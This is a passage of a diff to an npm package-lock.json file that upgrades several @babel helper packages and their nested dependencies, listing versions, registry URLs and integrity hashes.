"@babel/helper-annotate-as-pure": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.8.3.tgz", - "integrity": "sha512-6o+mJrZBxOoEX77Ezv9zwW7WV8DdluouRKNY/IR5u/YTMuKHgugHOzYWlYvYLpLA9nPsQCAAASpCIbjI9Mv+Uw==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.12.13.tgz", + "integrity": "sha512-7YXfX5wQ5aYM/BOlbSccHDbuXXFPxeoUmfWtz8le2yTkTZc+BxsiEnENFoi2SlmA8ewDkG2LgIMIVzzn2h8kfw==", "dev": true, "requires": { - "@babel/types": "^7.8.3" + "@babel/types": "^7.12.13" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/helper-builder-binary-assignment-operator-visitor": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.8.3.tgz", - "integrity": "sha512-5eFOm2SyFPK4Rh3XMMRDjN7lBH0orh3ss0g3rTYZnBQ+r6YPj7lgDyCvPphynHvUrobJmeMignBr6Acw9mAPlw==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.12.13.tgz", + "integrity": "sha512-CZOv9tGphhDRlVjVkAgm8Nhklm9RzSmWpX2my+t7Ua/KT616pEzXsQCjinzvkRvHWJ9itO4f296efroX23XCMA==", "dev": true, "requires": { - "@babel/helper-explode-assignable-expression": "^7.8.3", - "@babel/types": "^7.8.3" - } - }, - "@babel/helper-builder-react-jsx": { - "version": "7.9.0", - "resolved": "https://registry.npmjs.org/@babel/helper-builder-react-jsx/-/helper-builder-react-jsx-7.9.0.tgz", - "integrity": "sha512-weiIo4gaoGgnhff54GQ3P5wsUQmnSwpkvU0r6ZHq6TzoSzKy4JxHEgnxNytaKbov2a9z/CVNyzliuCOUPEX3Jw==", - "dev": true, - "requires": { - "@babel/helper-annotate-as-pure": "^7.8.3", - "@babel/types": "^7.9.0" - } - }, - "@babel/helper-builder-react-jsx-experimental": { - "version": "7.9.5", - "resolved": "https://registry.npmjs.org/@babel/helper-builder-react-jsx-experimental/-/helper-builder-react-jsx-experimental-7.9.5.tgz", - "integrity": "sha512-HAagjAC93tk748jcXpZ7oYRZH485RCq/+yEv9SIWezHRPv9moZArTnkUNciUNzvwHUABmiWKlcxJvMcu59UwTg==", - "dev": true, - "requires": { - "@babel/helper-annotate-as-pure": "^7.8.3", - "@babel/helper-module-imports": "^7.8.3", - "@babel/types": "^7.9.5" + "@babel/helper-explode-assignable-expression": "^7.12.13", + "@babel/types": "^7.12.13" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/helper-compilation-targets": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.9.6.tgz", - "integrity": "sha512-x2Nvu0igO0ejXzx09B/1fGBxY9NXQlBW2kZsSxCJft+KHN8t9XWzIvFxtPHnBOAXpVsdxZKZFbRUC8TsNKajMw==", + "version": "7.13.13", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.13.13.tgz", + "integrity": "sha512-q1kcdHNZehBwD9jYPh3WyXcsFERi39X4I59I3NadciWtNDyZ6x+GboOxncFK0kXlKIv6BJm5acncehXWUjWQMQ==", "dev": true, "requires": { - "@babel/compat-data": "^7.9.6", - "browserslist": "^4.11.1", - "invariant": "^2.2.4", - "levenary": "^1.1.1", - "semver": "^5.5.0" + "@babel/compat-data": "^7.13.12", + "@babel/helper-validator-option": "^7.12.17", + "browserslist": "^4.14.5", + "semver": "^6.3.0" + }, + "dependencies": { + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true + } } }, "@babel/helper-create-class-features-plugin": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.9.6.tgz", - "integrity": "sha512-6N9IeuyHvMBRyjNYOMJHrhwtu4WJMrYf8hVbEHD3pbbbmNOk1kmXSQs7bA4dYDUaIx4ZEzdnvo6NwC3WHd/Qow==", + "version": "7.13.11", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.13.11.tgz", + "integrity": "sha512-ays0I7XYq9xbjCSvT+EvysLgfc3tOkwCULHjrnscGT3A9qD4sk3wXnJ3of0MAWsWGjdinFvajHU2smYuqXKMrw==", "dev": true, "requires": { - "@babel/helper-function-name": "^7.9.5", - "@babel/helper-member-expression-to-functions": "^7.8.3", - "@babel/helper-optimise-call-expression": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/helper-replace-supers": "^7.9.6", - "@babel/helper-split-export-declaration": "^7.8.3" + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-member-expression-to-functions": "^7.13.0", + "@babel/helper-optimise-call-expression": "^7.12.13", + "@babel/helper-replace-supers": "^7.13.0", + "@babel/helper-split-export-declaration": "^7.12.13" + }, + "dependencies": { + "@babel/code-frame": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", + "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "dev": true, + "requires": { + "@babel/highlight": "^7.12.13" + } + }, + "@babel/helper-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", + "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", + "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", + "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/highlight": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", + "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", + "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "dev": true + }, + "@babel/template": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", + "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/parser": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/helper-create-regexp-features-plugin": { - "version": "7.8.8", - "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.8.8.tgz", - "integrity": "sha512-LYVPdwkrQEiX9+1R29Ld/wTrmQu1SSKYnuOk3g0CkcZMA1p0gsNxJFj/3gBdaJ7Cg0Fnek5z0DsMULePP7Lrqg==", + "version": "7.12.17", + "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.12.17.tgz", + "integrity": "sha512-p2VGmBu9oefLZ2nQpgnEnG0ZlRPvL8gAGvPUMQwUdaE8k49rOMuZpOwdQoy5qJf6K8jL3bcAMhVUlHAjIgJHUg==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.8.3", - "@babel/helper-regex": "^7.8.3", - "regexpu-core": "^4.7.0" + "@babel/helper-annotate-as-pure": "^7.12.13", + "regexpu-core": "^4.7.1" } }, - "@babel/helper-define-map": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-define-map/-/helper-define-map-7.8.3.tgz", - "integrity": "sha512-PoeBYtxoZGtct3md6xZOCWPcKuMuk3IHhgxsRRNtnNShebf4C8YonTSblsK4tvDbm+eJAw2HAPOfCr+Q/YRG/g==", + "@babel/helper-define-polyfill-provider": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.2.0.tgz", + "integrity": "sha512-JT8tHuFjKBo8NnaUbblz7mIu1nnvUDiHVjXXkulZULyidvo/7P6TY7+YqpV37IfF+KUFxmlK04elKtGKXaiVgw==", "dev": true, "requires": { - "@babel/helper-function-name": "^7.8.3", - "@babel/types": "^7.8.3", - "lodash": "^4.17.13" + "@babel/helper-compilation-targets": "^7.13.0", + "@babel/helper-module-imports": "^7.12.13", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/traverse": "^7.13.0", + "debug": "^4.1.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.14.2", + "semver": "^6.1.2" + }, + "dependencies": { + "@babel/code-frame": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", + "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "dev": true, + "requires": { + "@babel/highlight": "^7.12.13" + } + }, + "@babel/generator": { + "version": "7.13.9", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz", + "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==", + "dev": true, + "requires": { + "@babel/types": "^7.13.0", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + } + }, + "@babel/helper-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", + "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", + "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", + "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/highlight": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", + "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", + "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "dev": true + }, + "@babel/template": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", + "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/parser": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/traverse": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz", + "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/generator": "^7.13.9", + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-split-export-declaration": "^7.12.13", + "@babel/parser": "^7.13.15", + "@babel/types": "^7.13.14", + "debug": "^4.1.0", + "globals": "^11.1.0" + } + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true + } } }, "@babel/helper-explode-assignable-expression": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.8.3.tgz", - "integrity": "sha512-N+8eW86/Kj147bO9G2uclsg5pwfs/fqqY5rwgIL7eTBklgXjcOJ3btzS5iM6AitJcftnY7pm2lGsrJVYLGjzIw==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.13.0.tgz", + "integrity": "sha512-qS0peLTDP8kOisG1blKbaoBg/o9OSa1qoumMjTK5pM+KDTtpxpsiubnCGP34vK8BXGcb2M9eigwgvoJryrzwWA==", "dev": true, "requires": { - "@babel/traverse": "^7.8.3", - "@babel/types": "^7.8.3" + "@babel/types": "^7.13.0" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/helper-function-name": { @@ -238,103 +722,595 @@ } }, "@babel/helper-hoist-variables": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.8.3.tgz", - "integrity": "sha512-ky1JLOjcDUtSc+xkt0xhYff7Z6ILTAHKmZLHPxAhOP0Nd77O+3nCsd6uSVYur6nJnCI029CrNbYlc0LoPfAPQg==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.13.0.tgz", + "integrity": "sha512-0kBzvXiIKfsCA0y6cFEIJf4OdzfpRuNk4+YTeHZpGGc666SATFKTz6sRncwFnQk7/ugJ4dSrCj6iJuvW4Qwr2g==", "dev": true, "requires": { - "@babel/types": "^7.8.3" + "@babel/traverse": "^7.13.0", + "@babel/types": "^7.13.0" + }, + "dependencies": { + "@babel/code-frame": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", + "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "dev": true, + "requires": { + "@babel/highlight": "^7.12.13" + } + }, + "@babel/generator": { + "version": "7.13.9", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz", + "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==", + "dev": true, + "requires": { + "@babel/types": "^7.13.0", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + } + }, + "@babel/helper-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", + "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", + "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", + "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/highlight": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", + "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", + "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "dev": true + }, + "@babel/template": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", + "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/parser": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/traverse": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz", + "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/generator": "^7.13.9", + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-split-export-declaration": "^7.12.13", + "@babel/parser": "^7.13.15", + "@babel/types": "^7.13.14", + "debug": "^4.1.0", + "globals": "^11.1.0" + } + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + } } }, "@babel/helper-member-expression-to-functions": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.8.3.tgz", - "integrity": "sha512-fO4Egq88utkQFjbPrSHGmGLFqmrshs11d46WI+WZDESt7Wu7wN2G2Iu+NMMZJFDOVRHAMIkB5SNh30NtwCA7RA==", + "version": "7.13.12", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.13.12.tgz", + "integrity": "sha512-48ql1CLL59aKbU94Y88Xgb2VFy7a95ykGRbJJaaVv+LX5U8wFpLfiGXJJGUozsmA1oEh/o5Bp60Voq7ACyA/Sw==", "dev": true, "requires": { - "@babel/types": "^7.8.3" + "@babel/types": "^7.13.12" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/helper-module-imports": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.8.3.tgz", - "integrity": "sha512-R0Bx3jippsbAEtzkpZ/6FIiuzOURPcMjHp+Z6xPe6DtApDJx+w7UYyOLanZqO8+wKR9G10s/FmHXvxaMd9s6Kg==", + "version": "7.13.12", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.13.12.tgz", + "integrity": "sha512-4cVvR2/1B693IuOvSI20xqqa/+bl7lqAMR59R4iu39R9aOX8/JoYY1sFaNvUMyMBGnHdwvJgUrzNLoUZxXypxA==", "requires": { - "@babel/types": "^7.8.3" + "@babel/types": "^7.13.12" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==" + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "requires": { + 